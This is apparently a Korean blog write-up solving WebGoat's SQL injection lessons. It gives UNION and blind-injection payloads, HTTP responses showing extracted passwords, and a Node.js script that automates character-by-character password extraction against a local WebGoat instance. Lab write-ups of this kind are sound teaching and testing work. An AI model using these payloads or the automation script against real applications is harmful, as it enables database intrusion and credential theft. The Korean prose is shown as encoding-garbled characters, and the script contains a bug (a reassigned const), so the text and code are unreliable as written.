[WebGoat๐Ÿ] SQL Injection (Special Statements & Advanced 1,2 ๋ฌธ์ œํ’€์ด)

๊ฐ€์˜ยท2020๋…„ 12์›” 1์ผ
0
post-thumbnail
  • Combining SQL injection Techniques
  • Blind SQL injection

Special Characters

/* */			are inline comments
--, #			are line comments
Example:
SELECT * FROM users WHERE name='admin' --AND pass='pass'
;		allows query chaining
', +, ||	allows string concatenation
char()		strings without quotes

Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1

Special Statements

1. Union

The Union operator is used, to combine the results of two or more SELECT Statements.

Rules to keep in mind, when working with a UNION:

  • The number of columns selected in each statement must be the same.

  • The datatype of the first column in the first SELECT statement, must match the datatype of the first column in the second(thirs, fourth, ...) SELECT Statement. The Same applies to all other columns.

SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;

The UNION ALL Syntax also allows duplicate Values.

2. Joins

The Join operator is used to combine rows from two or more tables, based on a related column.

๋‘ ๊ฐœ ์ด์ƒ์˜ ํ…Œ์ด๋ธ”์ด๋‚˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์—ฐ๊ฒฐํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ฐฉ๋ฒ•.

By using Primary key or Foreign key, you can connect two tables. To connect tables, there are at least one or more columns shared by the tables.

SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;

Inner Join

๊ต์ง‘ํ•ฉ์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜๋ฉด ๋œ๋‹ค. ๊ธฐ์ค€ํ…Œ์ด๋ธ”๊ณผ Joinํ•œ ํ…Œ์ด๋ธ”์˜ ์ค‘๋ณต๋œ ๊ฐ’์„ ๋ณด์—ฌ์ค€๋‹ค.

๊ฒฐ๊ณผ๊ฐ’์€ ๋‘ ํ…Œ์ด๋ธ”์ด ๋ชจ๋‘ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๋ฐ์ดํ„ฐ๋งŒ ๊ฒ€์ƒ‰๋œ๋‹ค.

SELECT [ํ…Œ์ด๋ธ” ๋ณ„์นญ.์กฐํšŒํ• ์นผ๋Ÿผ] FROM [๊ธฐ์ค€ํ…Œ์ด๋ธ”๋ช… ๋ณ„์นญ] INNER JOIN [์กฐ์ธํ…Œ์ด๋ธ”๋ช… ๋ณ„์นญ] ON [๊ธฐ์ค€ํ…Œ์ด๋ธ”๋ช….๊ธฐ์ค€ํ‚ค] = [์กฐ์ธํ…Œ์ด๋ธ”๋ช….๊ธฐ์ค€ํ‚ค]
--์˜ˆ์ œ--
SELECT
A.NAME, --Aํ…Œ์ด๋ธ”์˜ NAME์กฐํšŒ
B.AGE --Bํ…Œ์ด๋ธ”์˜ AGE์กฐํšŒ
FROM EX_TABLE A
INNER JOIN JOIN_TABLE B ON A.NO_EMP = B.NO_EMP AND A.DEPT = B.DEPT

Left Outer Join

๊ธฐ์ค€ํ…Œ์ด๋ธ”์ด ์™ผ์ชฝ์ด ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

SELECT A.NAME, B.AGE --Aํ…Œ์ด๋ธ”์˜ name, Bํ…Œ์ด๋ธ”์˜ age ์กฐํšŒ
FROM EX_TABLE A --๊ธฐ์ค€ํ…Œ์ด๋ธ”: EX_TABLE ๋ณ„์นญ: A
LEFT OUTER JOIN JOIN_TABLE B ON A.NO_EMP = B.NO_EMP AND A.DEPT = B.DEPT

๊ธฐ์ค€ํ…Œ์ด๋ธ”์˜ ๊ฐ’ + ์กฐ์ธํ…Œ์ด๋ธ”๊ณผ ๊ธฐ์ค€ํ…Œ์ด๋ธ”์˜ ์ค‘๋ณต๋œ ๊ฐ’์„ ๋ณด์—ฌ์ค€๋‹ค.

A๋ฅผ ๊ธฐ์ค€์œผ๋กœ ํ•œ๋‹ค๋ฉด A์˜ ๋ชจ๋“  ๋ฐ์ดํ„ฐ์™€ A์™€ B์˜ ์ค‘๋ณต๋œ ๊ฐ’์„ ๋ณด์—ฌ์ค€๋‹ค.

Right Outer Join

left outer join์˜ ๋ฐ˜๋Œ€์ด๋‹ค.

์˜ค๋ฅธ์ชฝํ…Œ์ด๋ธ”์„ ๊ธฐ์ค€์œผ๋กœ join์„ ํ•˜๊ฒ ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

Fill Outer Join

์‰ฝ๊ฒŒ ๋งํ•ด ํ•ฉ์ง‘ํ•ฉ์ด๋‹ค. A์™€ B๊ฐ€ ๊ฐ€์ง€๊ณ ์žˆ๋Š” ๋ชจ๋“  ๋ฐ์ดํ„ฐ๊ฐ€ ๊ฒ€์ƒ‰๋˜๋ฏ€๋กœ ์‚ฌ์‹ค์ƒ ๊ธฐ์ค€ํ…Œ์ด๋ธ”์˜ ์˜๋ฏธ๊ฐ€ ์—†๋‹ค.

์ด์™ธ์—๋„ ์ •๋ง ๋งŽ์€ ์ข…๋ฅ˜์˜ JOIN์ด ์žˆ๋‹ค๊ณ  ํ•œ๋‹ค. ํ•˜์ง€๋งŒ ์šฐ๋ฆฌ๊ฐ€ ์‹œ๋„ํ•˜๋Š” ๋ฌธ์ œ๋“ค์ด ๋†’์€ ์ˆ˜์ค€์˜ sql ์‹ค๋ ฅ์„ ์š”๊ตฌํ•˜์ง„ ์•Š์œผ๋‹ˆ ์—ฌ๊ธฐ๊นŒ์ง€๋งŒ ํ•˜๊ฒ ๋‹ค.


Advanced 1: Pulling data from other tables

The input field below is used to get data from a user by their last name.

The table is called 'user_data':

CREATE TABLE user_data (userid int not null,
                        first_name varchar(20),
                        last_name varchar(20),
                        cc_number varchar(30),
                        cc_type varchar(10),
                        cookie varchar(20),
                        login_count int);

์ด ๋ฌธ์ œ๋Š” ์ด ํ…Œ์ด๋ธ”์ด sqli์— ์ทจ์•ฝํ•˜๋‹ค๊ณ  ๊ฐ€์ •ํ•œ๋‹ค. ์ด์ œ ์šฐ๋ฆฌ๊ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ›์•„์™€์•ผํ•  ํ…Œ์ด๋ธ” user_system_data๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค :

CREATE TABLE user_system_data (userid int not null primary key,
			                   user_name varchar(12),
			                   password varchar(10),
			                   cookie varchar(30));

๋ฌธ์ œ a) Retrieve all data from the table

1'; SELECT user_name, cc_type FROM user_data UNION SELECT user_name, password FROM user_system_data;--

๋‚ด๊ฐ€ ์›ํ•˜๋Š” ๊ฑด user_system_data์˜ ๋ฐ์ดํ„ฐ์˜€๊ณ , ์ด๋ฏธ sqli์— ์ทจ์•ฝํ•˜๋‹ค๊ณ  ์•Œ๋ ค์ ธ์žˆ๋Š” user_data ํ…Œ์ด๋ธ”์„ ์กฐํšŒํ•˜๋ฉด์„œ UNION์„ ์‚ฌ์šฉํ•˜๋ฉด ๋˜๋Š” ๋ฌธ์ œ์˜€๋‹ค.

์ฃผ์˜์‚ฌํ•ญ์€ ์—ญ์‹œ UNION ์„ ํ•˜๋Š” ๋ฐ ์žˆ์–ด์„œ ์ปฌ๋Ÿผ์˜ ๊ฐœ์ˆ˜์™€, ์ปฌ๋Ÿผ์˜ ๋ฐ์ดํ„ฐํƒ€์ž…์ด ์ผ์น˜ํ•ด์•ผํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ๊ทธ๋ž˜์„œ user_data์—์„œ password์˜ ์ž๋ฃŒํ˜•๊ณผ ๋™์ผํ•œ cc_type์„ ์กฐํšŒํ•œ ๊ฒƒ์ด๋‹ค. (์‚ฌ์‹ค user_name๋„ ์ด๋ฆ„์ด ๋™์ผํ•  ๋ฟ์ด์ง€ ๊ฐ™์€ ์ด์œ ์—์„œ ์กฐํšŒ๋œ ๊ฒƒ์ด๋‹ค.)

๊ฒฐ๊ณผ๋Š” ๋ฐ‘์—์ฒ˜๋Ÿผ ๋‚˜์™”๋‹ค.

b) When you have figured it out... What is Dave's password?

์•ž์„  ๋ฌธ์ œ์—์„œ user_system_data์˜ last_name๊ณผ password๋ฅผ ์กฐํšŒํ–ˆ์œผ๋‹ˆ๊นŒ ์œ„ ์‚ฌ์ง„์—์„œ dave์˜ ๊ฒƒ์„ ์ฐพ์œผ๋ฉด ๋œ๋‹ค. dave์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” passW0rD ๊ฐ€ ๋˜๊ฒ ๋‹ค.

๋‹ต์„ ์ž…๋ ฅํ•˜๋ฉด

Congratulations ๋ผ๋Š” ๋ฌธ๊ตฌ๊ฐ€ ๋œฌ๋‹ค!


Advanced 2: Blind Injection

Blind Injection

Blind Injection์€ ์˜ค๋ฅ˜๋ฉ”์‹œ์ง€๊ฐ€ ์ถœ๋ ฅ๋˜์ง€ ์•Š๋Š” ์‚ฌ์ดํŠธ์—์„œ SQL ์ฟผ๋ฆฌ์˜ ์ฐธ/๊ฑฐ์ง“ ๋™์ž‘์— ๋”ฐ๋ฅธ ์‘๋‹ต์„ ๋ณด๊ณ  DB๊ตฌ์กฐ๋ฅผ ํŒŒ์•…ํ•˜๋Š” ๊ณต๊ฒฉ๊ธฐ๋ฒ•์ด๋‹ค.

์ด๋ฒˆ ๋ฌธ์ œ๋Š” Blind Injection์„ ์ด์šฉํ•ด์„œ ํ’€์–ด๋ณด์ž.

Goal: ํ†ฐ์˜ ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๊ธฐ.

login ์ฐฝ์—์„œ๋Š” ์šฐ๋ฆฌ๊ฐ€ ์ด์šฉํ• ๋งŒํ•œ ์ฟผ๋ฆฌ๊ฐ€ ์“ฐ์ด์ง€ ์•Š๋Š” ๊ฒƒ ๊ฐ™์•˜๋‹ค.

๊ทธ๋ž˜์„œ Register๋กœ ๋“ค์–ด๊ฐ€ ๊ฐ€์ž… ์ •๋ณด๋ฅผ ์จ์ฃผ๊ณ  ๋ฒ„ํŠผ์„ ๋ˆ„๋ฅด๊ธฐ ์ „์— HTTP ํŒจํ‚ท์„ ์žก์•„์„œ ๋ณด๊ธฐ ์œ„ํ•ด ๋ฒ„ํ”„์Šค์œ„ํŠธ๋ฅผ ์‹คํ–‰ํ•ด์คฌ๋‹ค.

proxy > Intercept is on ์„ ๋ˆŒ๋Ÿฌ HTTP ์š”์ฒญ์„ ๊ฐ€๋กœ์ฑ„๋Š” ์ƒํƒœ๋กœ ๋“ค์–ด์„œ๊ฒŒ ํ•œ ํ›„, ์›น ํŽ˜์ด์ง€์˜ Register Now ๋ฒ„ํŠผ์„ ๋ˆŒ๋Ÿฌ ํผ์„ ์ œ์ถœํ•˜๋ฉด ๋œ๋‹ค.

์–˜๊ฐ€ ์š”์ฒญ(Request) ํŒจํ‚ท,

์–˜๊ฐ€ ์‘๋‹ต(Response) ํŒจํ‚ท์ด๋‹ค. ์‘๋‹ต ๋ฐ”๋””๋ฅผ ๋ณด๋ฉด

"feedback" : "User test created, ..."

๊ฐ€์ž… ์š”์ฒญ์— ๋Œ€ํ•œ ์‘๋‹ต์œผ๋กœ test ๋ผ๋Š” ์ด๋ฆ„์œผ๋กœ User๊ฐ€ ์ƒ์„ฑ๋˜์—ˆ๋‹ค๋Š” ๋ฉ”์‹œ์ง€๊ฐ€ ์™”๋‹ค.

์ด ๋ฌธ์žฅ์„ ๋ณด๋ฉด username์ด ์ด๋ฏธ ์žˆ๋Š”์ง€ ์—†๋Š”์ง€ ์ค‘๋ณต์กฐํšŒ๋ฅผ ํ•  ๊ฒƒ์ด๊ณ , ์„œ๋ฒ„๋Š” ์กฐํšŒ๋ฅผ ์œ„ํ•ด DB์—์„œ SELECT ๋ฌธ์„ ์‹คํ–‰ํ•  ๊ฑฐ๋ผ๊ณ  ์ถ”์ธกํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ , ์•„๋งˆ ์ค‘๋ณต ์กฐํšŒ ์ดํ›„ ์ค‘๋ณต์•„์ด๋””๊ฐ€ ์—†์„ ๊ฒฝ์šฐ user ํ…Œ์ด๋ธ”์— ์ƒˆ๋กœ์šด ์•„์ด๋””์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ INSERTํ•  ๊ฒƒ์ด๋‹ค.

์šฐ๋ฆฌ๋Š” ์ด ์ค‘ SELECT ๋ฌธ์„ ์ด์šฉํ•ด ์ธ์ ์…˜์„ ์‹œ๋„ํ•  ๊ฒƒ์ด๋‹ค. ๊ทธ๋Ÿฌ๋Ÿฌ๋ฉด ์šฐ์„  ์ด ํšŒ์›๊ฐ€์ž… ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•  ๋•Œ ์‹คํ–‰๋˜๋Š” SELECT ๋ฌธ์€ ์–ด๋–ป๊ฒŒ ์ƒ๊ฒผ์„์ง€๋ฅผ ๊ณ ๋ฏผํ•ด์•ผํ•œ๋‹ค.


  1. url๋กœ ๊ฐ€๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ ๋ณ€์ˆ˜ ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

    : ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ €์žฅํ•˜๋Š” ์ปฌ๋Ÿผ์˜ ํ‚ค ์ด๋ฆ„์ด password ์ž„์„ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ์Œ.

  2. ๋‹ค๋ฅธ ์•„์ด๋””๋กœ ์ƒˆ๋กœ ๊ฐ€์ž…ํ•ด๋ณด๊ธฐ

    : ์ค‘๋ณต์ด ์•„๋‹ ๋•Œ๋Š” (์•„์ด๋””: aoieuo ) ์–ด๋–ป๊ฒŒ ๋‚˜์˜ค๋Š”์ง€ ํ™•์ธ.

  3. ์‹ฑ๊ธ€์ฟผํ„ฐ ์จ๋ณด๊ธฐ: Escape ์—ฌ๋ถ€ ํ™•์ธํ•˜๊ธฐ

  4. ํŒŒ์ดํ”„(์—ฐ๊ฒฐ์—ฐ์‚ฐ์ž) ์จ๋ณด๊ธฐ: Concatenation ๊ฐ€๋Šฅ ์—ฌ๋ถ€, ํ•„ํ„ฐ๋ง๋˜๋Š”์ง€ ํ™•์ธํ•ด๋ณด๊ธฐ

    ๊ฒฐ๊ณผ: ์œ„ ์‚ฌ์ง„์„ ๋ณด๋ฉด aoi'||'euo ๊ฐ€ aoieuo๋กœ ์ธ์‹๋ผ์„œ 'User 'aoi||euo' already exists ...' ๋ผ๋Š” ๋ฉ”์‹œ์ง€์™€ ํ•จ๊ป˜ ์ด๋ฏธ ์žˆ๋Š” ์•„์ด๋””๋ผ๋Š” ์‘๋‹ต์ด ๋Œ์•„์™”๋‹ค. ์‘๋‹ต ๋ฉ”์‹œ์ง€์˜ ์•„์ด๋””๋Š” ์•„๋งˆ ์‚ฌ์šฉ์ž ์ž…๋ ฅ๊ฐ’์„ ๊ทธ๋Œ€๋กœ ๋ณด๋‚ด์„œ ํŒŒ์ดํ”„๊ฐ€ ๋ณด์ด๋Š” ๊ฒƒ ๊ฐ™๊ณ , ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋‹ˆ ํŒŒ์ดํ”„๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด Concatenation์ด ๋˜๋Š” ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๊ฒƒ ๊ฐ™๋‹ค!

  5. user_name='tom' ์จ๋ณด๊ธฐ: tom์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ด์•ผ ํ•˜๋‹ˆ๊นŒ ๊ทธ๋ƒฅ ํ•œ ๋ฒˆ ๋ณด๋‚ด๋ดค๋‹ค. ์—ญ์‹œ ์‘๋‹ต์€ ์ด๋ฏธ ์กด์žฌํ•˜๋Š” ์•„์ด๋””๋ผ๋Š” ๋‚ด์šฉ์ด๋‹ค.


์ฟผ๋ฆฌ์˜ ์ฐธ/๊ฑฐ์ง“ ์—ฌ๋ถ€์— ๋”ฐ๋ฅธ ์‘๋‹ต ๊ตฌ๋ถ„ํ•ด๋†“๊ธฐ

์ทจ์•ฝ์ ์„ ํ™•์ธํ–ˆ์œผ๋‹ˆ ๊ณต๊ฒฉ์„ ์‹œ์ž‘ํ•ด๋ณด์ž.
์šฐ์„  ์•„์ด๋”” ์ค‘๋ณต์กฐํšŒ SELECT๋ฌธ์€ ์ด๋ ‡๊ฒŒ ์‹œ์ž‘ํ•  ๊ฒƒ์ด๋‹ค.

SELECT * FROM member WHERE username=''...

์šฐ๋ฆฌ๋Š” ์ฟผ๋ฆฌ ์‹คํ–‰ ํ›„ ์ฐธ/๊ฑฐ์ง“์— ๋”ฐ๋ผ ๋‹ฌ๋ฆฌ ๋ณด์ด๋Š” ๊ฒฐ๊ณผ๋ฅผ ์ด์šฉํ•˜๋Š” Blind Injection ๊ธฐ๋ฒ•์„ ์ด์šฉํ•œ๋‹ค.

์›๋ž˜ ์„œ๋ฒ„์—์„œ๋Š” ๊ฐ™์€ ์•„์ด๋””๊ฐ€ ์กด์žฌํ•˜๋ฉด ์ฟผ๋ฆฌ๋ฌธ ์‹คํ–‰ ๊ฒฐ๊ณผ๊ฐ€ true๊ฐ€ ๋˜๊ณ  ์ค‘๋ณต ์•„์ด๋””๊ฐ€ ์กด์žฌํ•œ๋‹ค๋Š” ์‘๋‹ต์„ ๋ณด๋‚ผ๊ฑฐ๊ณ , ์ค‘๋ณต ์•„์ด๋””๊ฐ€ ์•„๋‹ˆ์–ด์„œ ์ฟผ๋ฆฌ๊ฐ€ false๊ฐ€ ๋˜๋ฉด ํšŒ์›๊ฐ€์ž…์ด ์™„๋ฃŒ๋๋‹ค๋Š” ์‘๋‹ต์„ ๋ณด๋‚ผ ๊ฒƒ์ด๋‹ค.

์šฐ๋ฆฌ๋Š” ์ฟผ๋ฆฌ์˜ ์ฐธ/๊ฑฐ์ง“ ์—ฌ๋ถ€๋ฅผ ๋ฐ”๊ฟ”์ค„ ์ˆ˜ ์žˆ๋Š” WHERE์ ˆ์— password์— ๋Œ€ํ•œ ์กฐ๊ฑด์„ ๋‹ฌ์•„ ์ฟผ๋ฆฌ๊ฐ€ ์ฐธ์ด ๋  ๋•Œ๊นŒ์ง€ ์‹œ๋„ํ•œ๋‹ค.


์šฐ์„  password์˜ ๊ธธ์ด๋งŒ ์•Œ์•„๋‚ธ ํ›„์—, ์•„์Šคํ‚ค์ฝ”๋“œ ์ด์ง„๊ฒ€์ƒ‰์œผ๋กœ ํ•œ ๊ธ€์ž์”ฉ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ผ ๊ฒƒ์ด๋‹ค.

SELECT * FROM member WHERE username='tom' and length(password)>0--

์ฒซ๋ฒˆ์งธ FROM ์ ˆ ์‹คํ–‰, WHERE ์ ˆ ์‹คํ–‰: username='tom'์ด ์ฐธ์ด๋˜๋Š” ๊ฐ’๋“ค๋งŒ ๊ฐ€์ ธ์˜จ๋‹ค. and ์—ฐ์‚ฐ์ž๋ฅผ ์จ์•ผ tom์˜ password๊ฐ€ ์กฐํšŒ๋œ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์กฐํšŒ๋์„ ๋•Œ true๊ฐ€ ๋˜๋ฉด User ~ already exitsts...๊ฐ€ ๋‚˜์˜ค๋Š” ๊ฒƒ์ด๋‹ค. ์šฐ๋ฆฌ๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ์— ๋Œ€ํ•œ ์กฐ๊ฑด๋“ค์„ ์ฟผ๋ฆฌ์— ๋„ฃ์–ด๊ฐ€๋ฉด์„œ ์ฐธ/๊ฑฐ์ง“์„ ํ†ตํ•ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ด๋‹ค: Blind Injection

๋น„๋ฐ€๋ฒˆํ˜ธ ๊ธธ์ด ์•Œ์•„๋‚ด๊ธฐ: length( ๋ฌธ์ž์—ด )

length(password)>[๊ธธ์ด] ๋กœ ์กฐ๊ฑด์„ ๋‹ฌ์•„๋†“๊ณ , [๊ธธ์ด]๊ฐ’์„ ๊ณ„์† ๋ฐ”๊ฟ”๊ฐ€๋ฉด์„œ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๊ณ  ๊ธธ์ด๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

์ด๋ ‡๊ฒŒ ์˜ค๋ฉด true, password์˜ ๊ธธ์ด๊ฐ€ ์ž…๋ ฅํ•œ ์ˆซ์ž๋ณด๋‹ค๋Š” ๊ธธ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

HTTP/1.1 200 OK
Connection: close
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Sun, 04 Oct 2020 13:43:53 GMT

{
  "lessonCompleted" : true,
  "feedback" : "User {0} already exists please try to register with a different username.",
  "output" : null,
  "assignment" : "SqlInjectionChallenge",
  "attemptWasMade" : true
}

์šฐ๋ฆฌ๊ฐ€ ๋‹ฌ์•„ ๋†“์€ ์กฐ๊ฑด์ด false์ผ ๋•Œ, ์ฟผ๋ฆฌ์˜ ์กฐํšŒ ๊ฒฐ๊ณผ๋Š” ์•„๋ฌด๊ฒƒ๋„ ์—†์„ ๊ฒƒ์ด๋‹ค. ๊ทธ๊ฒƒ์€ ์ฆ‰ ํšŒ์›๊ฐ€์ž…์ด ๊ฐ€๋Šฅํ•œ ์ƒํƒœ์ด๊ณ , '... created, please proceed to ...'๋ผ๋ฉฐ ํšŒ์›์ด ์ƒ์„ฑ๋˜์—ˆ๋‹ค๋Š” ์‘๋‹ต์ด ๋Œ์•„์˜จ๋‹ค. password์˜ ๊ธธ์ด๊ฐ€ length(password)>[๊ธธ์ด]์— ์ž…๋ ฅํ•œ [๊ธธ์ด]๋ณด๋‹ค ๊ฐ™๊ฑฐ๋‚˜ ํฌ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

HTTP/1.1 200 OK
Connection: close
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Sun, 04 Oct 2020 13:44:52 GMT

{
  "lessonCompleted" : true,
  "feedback" : "User tom' and length(password)>40-- created, please proceed to the login page.",
  "output" : null,
  "assignment" : "SqlInjectionChallenge",
  "attemptWasMade" : true
}

๊ณ„์† ์ˆซ์ž๋ฅผ ๋ฐ”๊ฟ”๊ฐ€๋ฉด์„œ ํ•˜๋‹ค๋ณด๋ฉด, 22๊นŒ์ง€๋Š” true(ํšŒ์›๊ฐ€์ž… ๋ถˆ๊ฐ€)์˜€๋‹ค๊ฐ€ 23์—์„œ๋ถ€ํ„ฐ false(ํšŒ์›๊ฐ€์ž… ์„ฑ๊ณต)๋กœ ๋ฐ”๋€๋‹ค.

์ด๋ ‡๊ฒŒ ํŒจ์Šค์›Œ๋“œ์˜ ๊ธธ์ด๊ฐ€ 23(Bytes)๋ผ๋Š” ๊ฒƒ์„ ์•Œ์•„๋ƒˆ๋‹ค!

๋น„๋ฐ€๋ฒˆํ˜ธ ํ•œ ๊ธ€์ž์”ฉ ์•Œ์•„๋‚ด๊ธฐ: substring( ๋ฌธ์ž์—ด, ์‹œ์ž‘์œ„์น˜, ํฌ๊ธฐ ) & ascii( ๋ฌธ์ž์—ด )

substring()์€ ๋ฌธ์ž์—ด์„ ๋ฐ˜ํ™˜, ๊ทธ๋ฆฌ๊ณ  ascii()๋Š” ์•„์Šคํ‚ค์ฝ”๋“œ 32~126๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค. ๊ทธ๋ž˜์„œ ์šฐ๋ฆฐ ์ด ๋‘ ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด์„œ ๋น„๋ฒˆ 23๊ธ€์ž๋ฅผ ํ•œ ๊ธ€์ž์”ฉ ์ •์„ฑ๊ป ์ด์ง„๊ฒ€์ƒ‰์„ ํ•œ๋‹ค. ๋ฒ”์œ„๋ฅผ ์ขํ˜€๋‚˜๊ฐ€์„œ, ์•„๊นŒ ๋ฌธ์ž์—ด์˜ ๊ธธ์ด๋ฅผ ์•Œ์•„๋ƒˆ์„ ๋•Œ์ฒ˜๋Ÿผ, ๊ฒฐ๊ณผ๊ฐ’์ด ๋ฐ”๋€Œ๋Š” ์ˆซ์ž๊ฐ€ ํ•ด๋‹น ์ž๋ฆฌ ๋ฌธ์ž์˜ ์•„์Šคํ‚ค์ฝ”๋“œ๊ฐ€ ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

tom'+and+substring(password,1,1)='a'-- //์ด๊ฑด ์ˆœ์ฐจํƒ์ƒ‰
tom'+and+ascii(substring(password,1,1))>80-- //์ด์ง„ํƒ์ƒ‰! ๋Œ€์ถฉ 80๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜๋ฉด ๋œ๋‹ค.

ํ•œ ๊ธ€์ž ํ•œ ๊ธ€์ž๋ฅผ 23๋ฒˆ ๋‹ค ํ•ด์„œ ์•Œ์•„๋‚ธ ๋น„๋ฒˆ์€

thisisasecretfortomonly ์ด๋‹ค. This is a secret for Tom only.

Done!


SQL Injection Advanced ๋งˆ์นฉ๋‹ˆ๋‹ค


+) ์ถ”๊ฐ€: ์Šค๋ฌผ์„ธ๊ธ€์ž ์ „๋ถ€๋ฅผ ๋…ธ๊ฐ€๋‹ค๋กœ ํ•˜๋Š”๊ฒŒ ์‹ซ๊ณ  ๋ฉ‹๋„ ์—†์–ด์„œ ์ž๋™์œผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฐพ์•„์ฃผ๋Š” ์ฝ”๋“œ๋ฅผ ์งœ๋ดค๋‹ค.

๋ณดํ†ต์€ ์‹ค์ œ๋กœ ๊ณต๊ฒฉํ•  ๋•Œ๋„ ์ž๋™์œผ๋กœ ํ•˜๋‹ˆ๊นŒ ์ด๋Ÿฐ ์ฝ”๋“œ๋ฅผ ์งœ๋ณด๋Š” ๊ฒƒ๋„ ์ข‹์„ ๊ฒƒ ๊ฐ™์•˜๋‹ค. ํŒŒ์ด์ฌ์œผ๋กœ ์ฝ”๋“œ๋ฅผ ์ง  ์‚ฌ๋žŒ์ด ์žˆ์—ˆ๋Š”๋ฐ bruteforce attack์ด์–ด์„œ ์‹œ๊ฐ„์ด 30๋ถ„์ด๋‚˜ ๊ฑธ๋ ธ๋‹ค๊ณ  ํ–ˆ๋‹ค. ๋‚˜๋Š” node๋กœ ์ด์ง„ํƒ์ƒ‰์„ ๊ตฌํ˜„ํ•ด์„œ ์‹œ๊ฐ„์„ ๋‹จ์ถ•ํ•ด๋ณด๋ ค๊ณ  ์ƒˆ๋กœ ์ฝ”๋“œ๋ฅผ ์งœ๋ดค๋‹ค!๐Ÿ˜Š

const request = require('request-promise-native');

const url = 'http://localhost:8080/WebGoat/SqlInjectionAdvanced/challenge';

const options = {
  url,
  method: 'PUT',
  headers: {
    'Host': 'localhost:8080',
    'X-Requested-With': 'XMLHttpRequest',
    'Content-Type': 'application/x-www-form-urldncoded; charset=UTF-8',
    'Cookie': 'JSESSIONID=[์ฟ ํ‚ค๊ฐ’]', // Burp Suite๋กœ ์–ป์€ ์ฟ ํ‚ค๊ฐ’ ์ง‘์–ด๋„ฃ๊ธฐ
    'origin': 'localhost:8080'
  },
  form: {
    email_reg: 'rkdkdudjd@gmail.com',
    password_reg: 'any',
    confirm_password_reg: 'any'
  }
};

const getPassword = async () => {
    let ans = '';
    for (let i = 1; i < 24; i++) {
        let low = 32, high = 126, mid;
        while (low < high) {
            mid = parseInt((low+high)/2);
            options.form.username_reg = 'tom\' and ascii(substring(password,' + i + ',1))>' + mid + '--';
            const response = await request.put(options, url);
            response = JSON.parse(response);
            if(response.feedback.includes('already')) { // true: ๋ฒ”์œ„ ์ผ์น˜, ascii ๊ฐ’์ด mid๋ณด๋‹ค ํผ.
                low = mid + 1;
            } else if (response.feedback.includes('created')) { // false: ๋ฒ”์œ„ ๋ถˆ์ผ์น˜, ascii ๊ฐ’์ด mid๋ณด๋‹ค ๊ฐ™๊ฑฐ๋‚˜ ์ž‘์Œ.
                high = mid;
            }
        }
        ans += String.fromCharCode(low);
    }
    console.log(`tom's password: ${ans}`);
}
getPassword();

๋‚ด๊ฐ€ ์†์œผ๋กœ ํ–ˆ๋˜ ๋ฐฉ๋ฒ• ๊ทธ๋Œ€๋กœ ์ฝ”๋“œ๋กœ ๋ฐ”๊พธ๊ธฐ๋งŒ ํ•œ ๊ฒƒ์ด๋‹ค. ๊ทผ๋ฐ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž˜ ๋ชปํ•ด์„œ ์ด ์งง์€ ์ฝ”๋“œ๋ฅผ ์งœ๋Š”๊ฒŒ ๋…ธ๊ฐ€๋‹ค ํ•˜๋Š”๊ฑฐ๋ณด๋‹ค ์˜ค๋ž˜๊ฑธ๋ ธ๋‹ค๐Ÿ˜‚ ๊ทธ๋ž˜๋„ ๋Œ๋ ค๋ณด๋‹ˆ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ 1๋ถ„ ๋‚ด๋กœ ๋‚˜์™€์„œ ๋ฟŒ๋“ฏํ–ˆ๋‹ค๐Ÿ’— ์ง„์งœ ๋!

0๊ฐœ์˜ ๋Œ“๊ธ€